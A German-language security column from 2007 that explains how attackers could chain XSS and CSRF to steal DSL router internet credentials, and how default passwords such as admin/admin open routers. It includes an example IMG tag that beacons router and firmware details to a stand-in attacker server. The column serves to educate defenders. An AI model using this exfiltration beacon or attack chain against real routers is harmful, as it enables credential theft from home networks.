Mittwoch, 31. August 2011


Topthema

Donnerstag, 20. Dezember 2007 | Topthema

About Security #136: XSS-Angriffe (6): DSL-Router ausspähen

(Link zum Artikel: http://www.entwickler.de/php/kolumnen/040205)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Hat ein Angreifer es, wie in About Security #135 beschrieben, geschafft, hinter der Firewall ein lohnendes Ziel zu finden, hat er mehrere Möglichkeiten für sein weiteres Vorgehen. Als erstes Beispiel soll das Ziel der DSL-Router sein, der ein kleines lokales Netz mit dem Internet verbindet. Die darin gespeicherten Zugangsdaten für den Internetzugang sollen ausgespäht werden. Dazu gibt es prinzipiell zwei Wege: Einen Cross-Site-Request-Forgery-Angriff (siehe About Security #127/ #128) oder das Ausprobieren von Default-Passwörtern.

Cross-Site Request Forgery

Die meisten DSL-Router für kleinere lokale Netze (die so genannten SOHO-Router: Small Office, Home Office) werden über eine durch HTTP-Basic-Authentication geschützte Weboberfläche administriert, über die u.a. die Zugangsdaten für den Internetzugang eingegeben werden. Die vorgenommenen Einstellungen können oft in Form einer Konfigurationsdatei heruntergeladen werden. Auch wenn die gespeicherten Zugangsdaten in der Weboberfläche gar nicht oder z.B. als *-Folge angezeigt werden, sind sie in der Konfigurationsdatei enthalten.

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Damit ein CSRF-Angriff zum Lesen der Zugangsdaten erfolgreich ist, müssen mehrere Faktoren zusammenkommen:

  • Grundvoraussetzung ist natürlich, dass der Router für CSRF anfällig ist und außerdem die Zugangsdaten irgendwie gelesen werden können.
  • Dann muss der Angreifer seinen XSS-Code in den Webbrowser eines Benutzers einschleusen, der auf die Konfiguration des DSL-Routers zugreifen darf.
  • Außerdem muss dieser Benutzer kurz bevor oder während der XSS-Code aktiv ist am DSL-Router angemeldet sein, sodass seine Authentifizierung für den Angriff genutzt werden kann.

Dass dies alles zusammen eintritt, erscheint erst einmal ziemlich unwahrscheinlich und sieht nach einem großen Zufall aus, sollte es denn mal zutreffen. Man kann dem Zufall aber etwas nachhelfen: Nachdem der Angreifer durch den Portscan weiß, mit was für einem DSL-Router und evtl. auch noch mit welcher Firmware-Version des Routers er es zu tun hat, kann er sich diese Information an seinen eigenen Server schicken lassen. Das geht ganz einfach, indem der über XSS eingeschleuste Code nach dem erfolgreichen Portscan ein (angebliches) Bild lädt und dabei die gewünschten Informationen an den URL im SRC-Feld des IMG-Tags anhängt:

<img src="http://boeser-server.example/kein-bild.php?
router=Der-Router&firmware=Die-Firmware"
width="0" height="0">

Bilder dürfen nachgeladen werden, der Webbrowser sendet also einen Request zum Holen des angeblichen Bilds an den Server des Angreifers – und dabei die Informationen über Router und Firmware mit. Der Angreifer muss sie nur noch entgegennehmen. Damit im Browser kein fehlendes Bild angezeigt wird, werden Breite und Höhe des angeblichen Bilds auf 0 gesetzt. Damit in der Statuszeile keine Fehlermeldung wegen des nicht geladenen Bilds erscheint, kann vom Server des Angreifers ein leeres Bild zurückgeliefert werden.

About Security: Die komplette Serie

Der Angreifer kennt nun den Router-Typ und dessen Firmware, die IP-Adresse wurde beim Request automatisch mitgeliefert. Enthält die Weboberfläche des Routers eine persistente XSS-Schwachstelle, z.B. beim Anzeigen von Logfiles, hat der Angreifer leichtes Spiel: Er kann seinen XSS-Code in das Logfile einschleusen und in Ruhe warten, bis ein Administrator das nächste Mal das Logfile prüft. Dann ist er am DSL-Router angemeldet, der eingeschleuste Code kann die Zugangsdaten über einen CSRF-Angriff lesen und danach an den Angreifer senden.

Nachdem der Angreifer den XSS-Code für den JavaScript-Portscan und die weiteren Aktionen irgendwo eingeschleust hat, muss er nichts weiter tun, als auf die Lieferung der Internetzugangsdaten zu warten. Der Server, der die Informationen über DSL-Router, Firmware-Version und IP-Adresse sammelt, kann daraufhin den passenden Code für den CSRF-Angriff automatisch in die Logfiles des DSL-Routers einschleusen.

Zugegebenermaßen ist dieses Beispiel sehr konstruiert, aber sowohl XSS- als auch CSRF-Schwachstellen kommen in Routern der SOHO-Klasse immer wieder vor. Behoben werden sie meist nur in den gerade aktuellen Modellen.

Ausprobieren von Default-Passwörtern

Statt die Internetzugangsdaten über einen CSRF-Angriff auszuspähen, kann der Angreifer auch versuchen, ob er mit dem Default-Passwort des Routers an sein Ziel kommt. Wurde das nicht geändert (was leider viel zu oft vergessen wird, wenn die Firmware oder Installationssoftware des Routers es nicht erzwingt), kann der Angreifer sofort auf den Router und dessen Konfigurationsdaten zugreifen. Die Default-Passwörter findet man in der Dokumentation der Router, auf den Supportseiten der Hersteller – oder auch gesammelt im Netz, z.B. bei Phenoelit. Und wie man an der Liste sieht, kommt man mit so phantasievollen Kombination wie admin/admin oder admin/leer (jeweils Benutzername/Passwort) bei ziemlich vielen Geräten ans Ziel.

In der nächsten Woche gibt es als Weihnachts-Special eine Übersicht über Live-CDs mit Sicherheitsbezug. In der nächsten regulären Folge von "About Security" werden dann weitere XSS-Angriffe vorgestellt, darunter ein Schwachstellen-Scanner in JavaScript und ein Tool zur Fernsteuerung von über XSS übernommenen Clients.

Ich wünsche allen Lesern ein frohes Weihnachtsfest!

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen – Cross-Site Scripting"

Kommentare

Folgende Links könnten Sie auch interessieren